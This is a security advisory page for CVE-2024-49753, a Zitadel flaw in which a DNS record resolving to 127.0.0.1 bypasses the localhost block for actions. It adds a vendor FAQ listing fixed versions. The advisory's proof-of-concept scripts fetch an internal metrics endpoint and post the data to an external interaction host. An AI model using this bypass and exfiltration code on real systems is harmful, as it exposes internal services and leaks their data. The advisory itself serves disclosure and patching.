CVE-2024-49753

A flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures.

Details

While attempting to send a request directly to 127.0.0.1 via an action results in an error (see image below), the restriction can be bypassed using a custom DNS record.

The relevant action code demonstrates the attempted request to 127.0.0.1:

let http = require('zitadel/http')
let logger = require("zitadel/log")
function make_api_call(ctx, api) {
    var user = http.fetch('http://127.0.0.1:8080/debug/metrics');

    var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            'data': user,
        }),
    });
    logger.log(api_r.body);
}

By creating a DNS record that resolves a custom domain to 127.0.0.1 (illustrated below using messwithdns), the action can successfully send the request.

The modified action code uses the custom domain instead of 127.0.0.1:

let http = require('zitadel/http')
let logger = require("zitadel/log")
function make_api_call(ctx, api) {
    var user = http.fetch('http://ok.jelly244.messwithdns.com:8080/debug/metrics');

    var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            'user': user,
        }),
    });
    logger.log(api_r.body);
}

This demonstrates that data from the /debug/metrics API, intended to be restricted to localhost, can be fetched and sent to an external endpoint.

Workarounds

There is no workaround since a patch is already available.

Questions

If you have any questions or comments about this advisory, please email us at [email protected]

Credits

Thanks to @prdp1137 for reporting this!

This vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities.

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

CVE-2024-49753 has a CVSS score of 5.9 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, 0.0.0-20241022141644-79fb4cc1cc6e, 2.58.7, 1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e); upgrading removes the vulnerable code path.

Kodem intelligence

2.x versions are fixed on >= 2.64.1
2.63.x versions are fixed on >= 2.63.6
2.62.x versions are fixed on >= 2.62.8
2.61.x versions are fixed on >= 2.61.4
2.60.x versions are fixed on >= 2.60.4
2.59.x versions are fixed on >= 2.59.5
2.58.x versions are fixed on >= 2.58.7

1. What is CVE-2024-49753? CVE-2024-49753 is a medium-severity improper input validation vulnerability in github.com/zitadel/zitadel (go), affecting versions = 2.64.0. It is fixed in 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, 0.0.0-20241022141644-79fb4cc1cc6e, 2.58.7, 1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
2. How severe is CVE-2024-49753? CVE-2024-49753 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/zitadel/zitadel are affected by CVE-2024-49753? github.com/zitadel/zitadel (go) versions = 2.64.0 is affected.
4. Is there a fix for CVE-2024-49753? Yes. CVE-2024-49753 is fixed in 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, 0.0.0-20241022141644-79fb4cc1cc6e, 2.58.7, 1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e. Upgrade to this version or later.
5. Is CVE-2024-49753 exploitable, and should I be worried? Whether CVE-2024-49753 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-49753 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-49753?
   • Upgrade github.com/zitadel/zitadel to 2.64.1 or later
   • Upgrade github.com/zitadel/zitadel to 2.63.6 or later
   • Upgrade github.com/zitadel/zitadel to 2.62.8 or later
   • Upgrade github.com/zitadel/zitadel to 2.61.4 or later
   • Upgrade github.com/zitadel/zitadel to 2.60.4 or later
   • Upgrade github.com/zitadel/zitadel to 2.59.5 or later
   • Upgrade github.com/zitadel/zitadel to 0.0.0-20241022141644-79fb4cc1cc6e or later
   • Upgrade github.com/zitadel/zitadel to 2.58.7 or later
   • Upgrade github.com/zitadel/zitadel to 1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e or later